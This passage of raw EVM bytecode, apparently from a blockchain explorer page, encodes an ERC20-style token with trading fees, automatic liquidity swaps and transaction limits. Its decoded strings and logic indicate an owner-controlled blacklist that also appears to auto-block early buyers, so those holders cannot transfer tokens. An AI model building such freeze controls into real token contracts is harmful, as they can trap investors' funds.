5b5060008385612abd91906140cd565b9050809150509392505050565b6000612b0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612a66565b905092915050565b60008083118290612b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b529190613618565b60405180910390fd5b5060008385612b6a9190614130565b9050809150509392505050565b6000612c02826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a669092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9782600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d37919061375d565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff0219169083151502179055506000612da36002612d95601954612d876014548761316290919063ffffffff16565b61203490919063ffffffff16565b61203490919063ffffffff16565b90506000612dba8284612aca90919063ffffffff16565b9050612dc5816131dc565b60004790506000612df6612de5600260145461203490919063ffffffff16565b601954612aca90919063ffffffff16565b90506000612e346002612e2684612e186014548861316290919063ffffffff16565b61203490919063ffffffff16565b61203490919063ffffffff16565b90506000612e5f83612e516016548761316290919063ffffffff16565b61203490919063ffffffff16565b90506000612e8882612e7a8588612aca90919063ffffffff16565b612aca90919063ffffffff16565b90506000811115612ec057612ebf600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613458565b5b6000821115612ef657612ef5600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613458565b5b600083118015612f065750600087115b15612f1657612f1587846134a3565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612fc357612fbc6064612fae6017548661316290919063ffffffff16565b61203490919063ffffffff16565b9050613041565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156130405761303d606461302f6018548661316290919063ffffffff16565b61203490919063ffffffff16565b90505b5b60008111156131455761309c81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd690919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161313c919061375d565b60405180910390a35b6131588184612aca90919063ffffffff16565b9150509392505050565b600080830361317457600090506131d6565b600082846131829190614161565b90508284826131919190614130565b146131d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c890614215565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156131f9576131f8614235565b5b6040519080825280602002602001820160405280156132275781602001602082028036833780820191505090505b509050308160008151811061323f5761323e613ca4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156132e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061330a9190614279565b8160018151811061331e5761331d613ca4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061338530601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612086565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016133e99594939291906143a9565b600060405180830381600087803b15801561340357600080fd5b505af1158015613417573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161344c929190614403565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561349e573d6000803e3d6000fd5b505050565b6134d030601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612086565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061351c611264565b426040518863ffffffff1660e01b815260040161353e96959493929190614433565b60606040518083038185885af115801561355c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061358191906144a9565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135c25780820151818401526020810190506135a7565b60008484015250505050565b6000601f19601f8301169050919050565b60006135ea82613588565b6135f48185613593565b93506136048185602086016135a4565b61360d816135ce565b840191505092915050565b6000602082019050818103600083015261363281846135df565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061366f82613644565b9050919050565b61367f81613664565b811461368a57600080fd5b50565b60008135905061369c81613676565b92915050565b6000819050919050565b6136b5816136a2565b81146136c057600080fd5b50565b6000813590506136d2816136ac565b92915050565b600080604083850312156136ef576136ee61363a565b5b60006136fd8582860161368d565b925050602061370e858286016136c3565b9150509250929050565b60008115159050919050565b61372d81613718565b82525050565b60006020820190506137486000830184613724565b92915050565b613757816136a2565b82525050565b6000602082019050613772600083018461374e565b92915050565b6000806000606084860312156137915761379061363a565b5b600061379f868287016136c3565b93505060206137b0868287016136c3565b92505060406137c1868287016136c3565b9150509250925092565b6137d481613718565b81146137df57600080fd5b50565b6000813590506137f1816137cb565b92915050565b6000806040838503121561380e5761380d61363a565b5b600061381c8582860161368d565b925050602061382d858286016137e2565b9150509250929050565b6000806000606084860312156138505761384f61363a565b5b600061385e8682870161368d565b935050602061386f8682870161368d565b9250506040613880868287016136c3565b9150509250925092565b6000602082840312156138a05761389f61363a565b5b60006138ae848285016137e2565b91505092915050565b6000602082840312156138cd576138cc61363a565b5b60006138db8482850161368d565b91505092915050565b600060ff82169050919050565b6138fa816138e4565b82525050565b600060208201905061391560008301846138f1565b92915050565b6000602082840312156139315761393061363a565b5b600061393f848285016136c3565b91505092915050565b61395181613664565b82525050565b600060208201905061396c6000830184613948565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261399757613996613972565b5b8235905067ffffffffffffffff8111156139b4576139b3613977565b5b6020830191508360208202830111156139d0576139cf61397c565b5b9250929050565b6000806000604084860312156139f0576139ef61363a565b5b600084013567ffffffffffffffff811115613a0e57613a0d61363f565b5b613a1a86828701613981565b93509350506020613a2d868287016137e2565b9150509250925092565b60008060408385031215613a4e57613a4d61363a565b5b6000613a5c8582860161368d565b9250506020613a6d8582860161368d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613abe57607f821691505b602082108103613ad157613ad0613a77565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613b0d602083613593565b9150613b1882613ad7565b602082019050919050565b60006020820190508181036000830152613b3c81613b00565b9050919050565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b6000613b79600b83613593565b9150613b8482613b43565b602082019050919050565b60006020820190508181036000830152613ba881613b6c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613c0b602683613593565b9150613c1682613baf565b604082019050919050565b60006020820190508181036000830152613c3a81613bfe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613c7b826136a2565b9150613c86836136a2565b9250828201905080821115613c9e57613c9d613c41565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613cde826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d1057613d0f613c41565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d51601b83613593565b9150613d5c82613d1b565b602082019050919050565b60006020820190508181036000830152613d8081613d44565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613de3602483613593565b9150613dee82613d87565b604082019050919050565b60006020820190508181036000830152613e1281613dd6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e75602283613593565b9150613e8082613e19565b604082019050919050565b60006020820190508181036000830152613ea481613e68565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613f07602583613593565b9150613f1282613eab565b604082019050919050565b60006020820190508181036000830152613f3681613efa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613f99602383613593565b9150613fa482613f3d565b604082019050919050565b60006020820190508181036000830152613fc881613f8c565b9050919050565b7f41646472657373206973204465636c696e656400000000000000000000000000600082015250565b6000614005601383613593565b915061401082613fcf565b602082019050919050565b6000602082019050818103600083015261403481613ff8565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000614097602883613593565b91506140a28261403b565b604082019050919050565b600060208201905081810360008301526140c68161408a565b9050919050565b60006140d8826136a2565b91506140e3836136a2565b92508282039050818111156140fb576140fa613c41565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061413b826136a2565b9150614146836136a2565b92508261415657614155614101565b5b828204905092915050565b600061416c826136a2565b9150614177836136a2565b9250828202614185816136a2565b9150828204841483151761419c5761419b613c41565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006141ff602183613593565b915061420a826141a3565b604082019050919050565b6000602082019050818103600083015261422e816141f2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061427381613676565b92915050565b60006020828403121561428f5761428e61363a565b5b600061429d84828501614264565b91505092915050565b6000819050919050565b6000819050919050565b60006142d56142d06142cb846142a6565b6142b0565b6136a2565b9050919050565b6142e5816142ba565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61432081613664565b82525050565b60006143328383614317565b60208301905092915050565b6000602082019050919050565b6000614356826142eb565b61436081856142f6565b935061436b83614307565b8060005b8381101561439c5781516143838882614326565b975061438e8361433e565b92505060018101905061436f565b5085935050505092915050565b600060a0820190506143be600083018861374e565b6143cb60208301876142dc565b81810360408301526143dd818661434b565b90506143ec6060830185613948565b6143f9608083018461374e565b9695505050505050565b6000604082019050614418600083018561374e565b818103602083015261442a818461434b565b90509392505050565b600060c0820190506144486000830189613948565b614455602083018861374e565b61446260408301876142dc565b61446f60608301866142dc565b61447c6080830185613948565b61448960a083018461374e565b979650505050505050565b6000815190506144a3816136ac565b92915050565b6000806000606084860312156144c2576144c161363a565b5b60006144d086828701614494565b93505060206144e186828701614494565b92505060406144f286828701614494565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cfcac0d7caa8a1c7da4b4e5391c42a8da852cda7faf3958737fa70a9a5445a9564736f6c63430008120033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063b23abda5116100ab578063f0b37c041161006f578063f0b37c0414610878578063f0cd1dac146108a1578063f1d5f517146108cc578063fbac3951146108f5578063fe9fbb801461093257610246565b8063b23abda514610797578063b6a5d7de146107c0578063c49b9a80146107e9578063dd62ed3e14610812578063ec28438a1461084f57610246565b8063a457c2d7116100f2578063a457c2d7146106a2578063a4b45c00146106df578063a5d69d1f14610708578063a9059cbb14610731578063aa8743f51461076e57610246565b80638da5cb5b146105e35780638e2eee841461060e578063914eb66a14610637578063936b2d6e1461064e57806395d89b411461067757610246565b8063313ce567116101bc578063557ed1ba11610180578063557ed1ba146104fa57806370a08231146105255780637d1db4a514610562578063807c2d9c1461058d57806382eefb43146105b857610246565b8063313ce5671461042957806338bf3cfa14610454578063395093511461047d5780633b97084a146104ba5780634bacf447146104e357610246565b806323b872dd1161020357806323b872dd146103305780632563ae831461036d5780632b112e49146103965780632ca126f8146103c15780632f54bf6e146103ec57610246565b806306fdde031461024b578063095ea7b31461027657806318160ddd146102b35780631cbcdfa6146102de5780632198cf6c1461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b5061026061096f565b60405161026d9190613618565b60405180910390f35b34801561028257600080fd5b5061029d600480360381019061029891906136d8565b610a01565b6040516102aa9190613733565b60405180910390f35b3480156102bf57600080fd5b506102c8610a1f565b6040516102d5919061375d565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190613778565b610a29565b005b34801561031357600080fd5b5061032e600480360381019061032991906137f7565b610b09565b005b34801561033c57600080fd5b5061035760048036038101906103529190613837565b610bf9565b6040516103649190613733565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061388a565b610cd3565b005b3480156103a257600080fd5b506103ab610d85565b6040516103b8919061375d565b60405180910390f35b3480156103cd57600080fd5b506103d6610dc9565b6040516103e3919061375d565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e91906138b7565b610dcf565b6040516104209190613733565b60405180910390f35b34801561043557600080fd5b5061043e610e28565b60405161044b9190613900565b60405180910390f35b34801561046057600080fd5b5061047b600480360381019061047691906138b7565b610e3f565b005b34801561048957600080fd5b506104a4600480360381019061049f91906136d8565b611005565b6040516104b19190613733565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc919061391b565b6110b8565b005b3480156104ef57600080fd5b506104f8611157565b005b34801561050657600080fd5b5061050f611201565b60405161051c919061375d565b60405180910390f35b34801561053157600080fd5b5061054c600480360381019061054791906138b7565b611209565b604051610559919061375d565b60405180910390f35b34801561056e57600080fd5b50610577611252565b604051610584919061375d565b60405180910390f35b34801561059957600080fd5b506105a2611258565b6040516105af919061375d565b60405180910390f35b3480156105c457600080fd5b506105cd61125e565b6040516105da919061375d565b60405180910390f35b3480156105ef57600080fd5b506105f8611264565b6040516106059190613957565b60405180910390f35b34801561061a57600080fd5b50610635600480360381019061063091906139d7565b61128d565b005b34801561064357600080fd5b5061064c6113c5565b005b34801561065a57600080fd5b50610675600480360381019061067091906139d7565b611518565b005b34801561068357600080fd5b5061068c611603565b6040516106999190613618565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c491906136d8565b611695565b6040516106d69190613733565b60405180910390f35b3480156106eb57600080fd5b5061070660048036038101906107019190613a37565b611762565b005b34801561071457600080fd5b5061072f600480360381019061072a919061388a565b61187d565b005b34801561073d57600080fd5b50610758600480360381019061075391906136d8565b61192f565b6040516107659190613733565b60405180910390f35b34801561077a57600080fd5b506107956004803603810190610790919061391b565b61194e565b005b3480156107a357600080fd5b506107be60048036038101906107b99190613778565b6119ed565b005b3480156107cc57600080fd5b506107e760048036038101906107e291906138b7565b611acd565b005b3480156107f557600080fd5b50610810600480360381019061080b919061388a565b611bbc565b005b34801561081e57600080fd5b5061083960048036038101906108349190613a37565b611ca5565b604051610846919061375d565b60405180910390f35b34801561085b57600080fd5b506108766004803603810190610871919061391b565b611d2c565b005b34801561088457600080fd5b5061089f600480360381019061089a91906138b7565b611dcb565b005b3480156108ad57600080fd5b506108b6611ebb565b6040516108c3919061375d565b60405180910390f35b3480156108d857600080fd5b506108f360048036038101906108ee919061391b565b611ec1565b005b34801561090157600080fd5b5061091c600480360381019061091791906138b7565b611f60565b6040516109299190613733565b60405180910390f35b34801561093e57600080fd5b50610959600480360381019061095491906138b7565b611f80565b6040516109669190613733565b60405180910390f35b60606002805461097e90613aa6565b80601f01602080910402602001604051908101604052809291908181526020018280546109aa90613aa6565b80156109f75780601f106109cc576101008083540402835291602001916109f7565b820191906000526020600020905b8154815290600101906020018083116109da57829003601f168201915b5050505050905090565b6000610a15610a0e61207e565b8484612086565b6001905092915050565b6000601a54905090565b610a3161207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590613b23565b60405180910390fd5b826011819055508160128190555080601381905550610afe601354610af0601254601154611fd690919063ffffffff16565b611fd690919063ffffffff16565b601881905550505050565b610b1161207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590613b23565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610c0684848461224f565b50610cc884610c1361207e565b610cc3856040518060600160405280602881526020016144fd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c7961207e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a669092919063ffffffff16565b612086565b600190509392505050565b610cdb61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90613b23565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b6000610dc4610db37f000000000000000000000000000000000000000000000000000000000000dead611209565b601a54612aca90919063ffffffff16565b905090565b60205481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600460009054906101000a900460ff16905090565b610e4833611f80565b610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90613b8f565b60405180910390fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f4857600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613c21565b60405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006110ae61101261207e565b846110a9856007600061102361207e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd690919063ffffffff16565b612086565b6001905092915050565b6110c061207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114490613b23565b60405180910390fd5b80601d8190555050565b61115f61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390613b23565b60405180910390fd5b601e426111f99190613c70565b602081905550565b600042905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b601c5481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61129561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990613b23565b60405180910390fd5b60005b838390508110156113bf5781600c600086868581811061134857611347613ca4565b5b905060200201602081019061135d91906138b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806113b890613cd3565b9050611325565b50505050565b6113cd61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190613b23565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61152133611f80565b611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790613b8f565b60405180910390fd5b60005b838390508110156115fd5781600c600086868581811061158657611585613ca4565b5b905060200201602081019061159b91906138b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806115f690613cd3565b9050611563565b50505050565b60606003805461161290613aa6565b80601f016020809104026020016040519081016040528092919081815260200182805461163e90613aa6565b801561168b5780601f106116605761010080835404028352916020019161168b565b820191906000526020600020905b81548152906001019060200180831161166e57829003601f168201915b5050505050905090565b60006117586116a261207e565b846117538560405180606001604052806025815260200161452560259139600760006116cc61207e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a669092919063ffffffff16565b612086565b6001905092915050565b61176a61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90613b23565b60405180910390fd5b81600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61188561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190990613b23565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b600061194361193c61207e565b848461224f565b506001905092915050565b61195661207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90613b23565b60405180910390fd5b8060218190555050565b6119f561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7990613b23565b60405180910390fd5b82600e8190555081600f8190555080601081905550611ac2601054611ab4600f54600e54611fd690919063ffffffff16565b611fd690919063ffffffff16565b601781905550505050565b611ad561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5990613b23565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611bc461207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4890613b23565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611c9a9190613733565b60405180910390a150565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611d3461207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db890613b23565b60405180910390fd5b80601b8190555050565b611dd361207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5790613b23565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60175481565b611ec961207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d90613b23565b60405180910390fd5b80601c8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000808284611fe59190613c70565b90508381101561202a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202190613d67565b60405180910390fd5b8091505092915050565b600061207683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b14565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ec90613df9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215b90613e8b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612242919061375d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036122bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b690613f1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361232e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232590613faf565b60405180910390fd5b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156123be575061238e611264565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156123d75750600d60009054906101000a900460ff16155b1561247f576000602054036123fb57602154426123f49190613c70565b6020819055505b426020541115612462576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061247e565b6001600d60006101000a81548160ff0219169083151502179055505b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125235750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125599061401b565b60405180910390fd5b601f60149054906101000a900460ff161561258957612582848484612b77565b9050612a5f565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561262d5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561267857601b54821115612677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266e906140ad565b60405180910390fd5b5b600061268330611209565